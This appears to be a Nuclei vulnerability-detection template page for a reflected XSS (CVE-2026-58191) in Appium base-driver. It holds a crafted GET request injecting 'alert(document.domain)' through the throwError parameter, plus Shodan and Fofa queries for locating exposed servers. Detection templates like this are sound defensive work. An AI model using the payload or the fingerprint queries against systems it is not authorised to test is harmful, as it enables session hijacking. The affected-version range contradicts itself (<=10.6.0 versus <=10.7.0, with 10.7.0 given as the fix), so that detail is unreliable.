CVE-2026-58191: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting
- Template: CVE-2026-58191
- Name: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting
- Description: Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.
- Impact: Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.
- Remediation: Update to version 10.7.0 or later.
- Severity: medium
- Authors: str4k3r
- Tags: cve, cve2026, appium, xss, base-driver, node
- References: https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc, https://github.com/appium/appium/commit/d94a40af9f8040191ee7888571a1c9d5aec59f89, https://github.com/appium/appium/releases/tag/@appium/[email protected], https://nvd.nist.gov/vuln/detail/CVE-2026-58191
- Cves: CVE-2026-58191
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-58191.yaml
- Digest: 4a0a00473045022100bb4d9b3f6c01c533836f39cacec06cc128141ccb0d4df82ea79ef4d5998f6f3902200cb82308743326ca47dc579818846ea94fed1a8b2a84e7072a398f10e21c03cb
- Created at: 2026-09-14T18:23:45Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 71
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-58191.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Epss score: 0.00564
- Epss percentile: 0.47784
- Not known: cpe
Metadata
- Fofa-query: icon_hash="-144749386"
- Max-request: 1
- Product: appium
- Shodan-query: http.favicon.hash:-144749386
- Vendor: appium
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| appium:appium | no | — |
Labels
- Name: Appium - Reflected XSS
- Impact: Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.
- Remediation: Update to version 10.7.0 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-58191
- Not known: requirements
```yaml
id: CVE-2026-58191
info:
name: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting
author: str4k3r
severity: medium
description: |
Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.
impact: |
Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.
remediation: |
Update to version 10.7.0 or later.
reference:
- https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc
- https://github.com/appium/appium/commit/d94a40af9f8040191ee7888571a1c9d5aec59f89
- https://github.com/appium/appium/releases/tag/@appium/[email protected]
- https://nvd.nist.gov/vuln/detail/CVE-2026-58191
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2026-58191
epss-score: 0.00564
epss-percentile: 0.47784
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: appium
product: appium
shodan-query: 'http.favicon.hash:-144749386'
fofa-query: 'icon_hash="-144749386"'
tags: cve,cve2026,appium,xss,base-driver,node
http:
- raw:
- |
GET /test/guinea-pig?throwError=%27%2balert(document.domain)%2b%27 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "alert(document.domain)")'
- 'contains_all(body, "This page is a Selenium sandbox", "Appium")'
condition: and
digest: 4a0a00473045022100bb4d9b3f6c01c533836f39cacec06cc128141ccb0d4df82ea79ef4d5998f6f3902200cb82308743326ca47dc579818846ea94fed1a8b2a84e7072a398f10e21c03cb:922c64590222798bb761d5b6d8e72950
```